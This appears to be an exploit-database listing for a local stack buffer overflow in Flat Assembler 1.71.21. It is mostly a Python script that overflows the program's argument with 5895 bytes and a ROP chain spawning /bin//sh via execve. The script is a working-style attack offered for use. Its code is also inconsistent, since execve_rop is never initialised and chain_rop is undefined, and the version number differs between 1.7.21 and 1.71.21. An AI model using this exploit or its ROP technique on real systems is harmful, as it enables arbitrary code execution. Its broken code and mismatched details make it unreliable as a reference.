Flat Assembler 1.7.21 - Buffer Overflow

2017.06.29
Credit: Juan Sacco
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

#!/usr/bin/python # Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com> # # Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com # Tested on: GNU/Linux - Kali 2017.1 Release # # What is FASM? # Flat assembler is a fast, self-compilable assembly language compiler for the # x86 and x86-64 architecture processors, which does multiple passes to optimize # the size of generated machine code. # # Impact: FASM ( Flat Assembler ) 1.7.21 and prior is prone to a stack-based buffer overflow # vulnerability because the application fails to perform adequate # boundary-checks on user-supplied input. # # An attacker could exploit this vulnerability to execute arbitrary code in the # context of the application. Failed exploit attempts will result in a # denial-of-service condition. # # Version: 1.71.21 # Architecture: i386 # Download here: http://ba.mirror.garr.it/mirrors/slitaz/sources/packages-cooking/f/fasm-1.71.21.tgz # # Vendor homepage: http://www.flatassembler.net` # import os,subprocess from struct import pack # EIP found at offset: 5895 # Entry point: 0x8048d68 # Canary: off # Fortify: off # NX: Enabled # PIE: off # Relro: Partial junk = 'A' * 5895 execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret execve_rop += pack('<I', 0x0810b060) # @ .data execve_rop += pack('<I', 0x08050eb2) # pop eax ; ret execve_rop += '/bin' execve_rop += pack('<I', 0x080b1bcd) # mov dword ptr [edx], eax ; ret execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret execve_rop += pack('<I', 0x0810b064) # @ .data + 4 execve_rop += pack('<I', 0x08050eb2) # pop eax ; ret execve_rop += '//sh' execve_rop += pack('<I', 0x080b1bcd) # mov dword ptr [edx], eax ; ret execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret execve_rop += pack('<I', 0x0810b068) # @ .data + 8 execve_rop += pack('<I', 0x0804891b) # xor eax, eax ; ret execve_rop += pack('<I', 0x080b1bcd) # mov dword ptr [edx], eax ; ret execve_rop += pack('<I', 0x080481e1) # pop ebx ; ret execve_rop += pack('<I', 0x0810b060) # @ .data execve_rop += pack('<I', 0x0804a250) # pop ecx ; ret execve_rop += pack('<I', 0x0810b068) # @ .data + 8 execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret execve_rop += pack('<I', 0x0810b068) # @ .data + 8 execve_rop += pack('<I', 0x0804891b) # xor eax, eax ; ret execve_rop += pack('<I', 0x080b408f) # inc eax ; ret execve_rop += pack('<I', 0x080b408f) # inc eax ; ret execve_rop += pack('<I', 0x080b408f) # inc eax ; ret execve_rop += pack('<I', 0x080b408f) # inc eax ; ret execve_rop += pack('<I', 0x080b408f) # inc eax ; ret execve_rop += pack('<I', 0x080b408f) # inc eax ; ret execve_rop += pack('<I', 0x080b408f) # inc eax ; ret execve_rop += pack('<I', 0x080b408f) # inc eax ; ret execve_rop += pack('<I', 0x080b408f) # inc eax ; ret execve_rop += pack('<I', 0x080b408f) # inc eax ; ret execve_rop += pack('<I', 0x080b408f) # inc eax ; ret execve_rop += pack('<I', 0x0805ff3d) # int 0x80 buffer = junk + chain_rop try: print("[*] FASM 1.7.21 - Buffer Overflow + ROP by Juan Sacco") print("[*] Please wait.. running") subprocess.call(["fasm", buffer]) except OSError as e: if e.errno == os.errno.ENOENT: print "[*] FASM not found!" else: print "[*] Error executing exploit" raise


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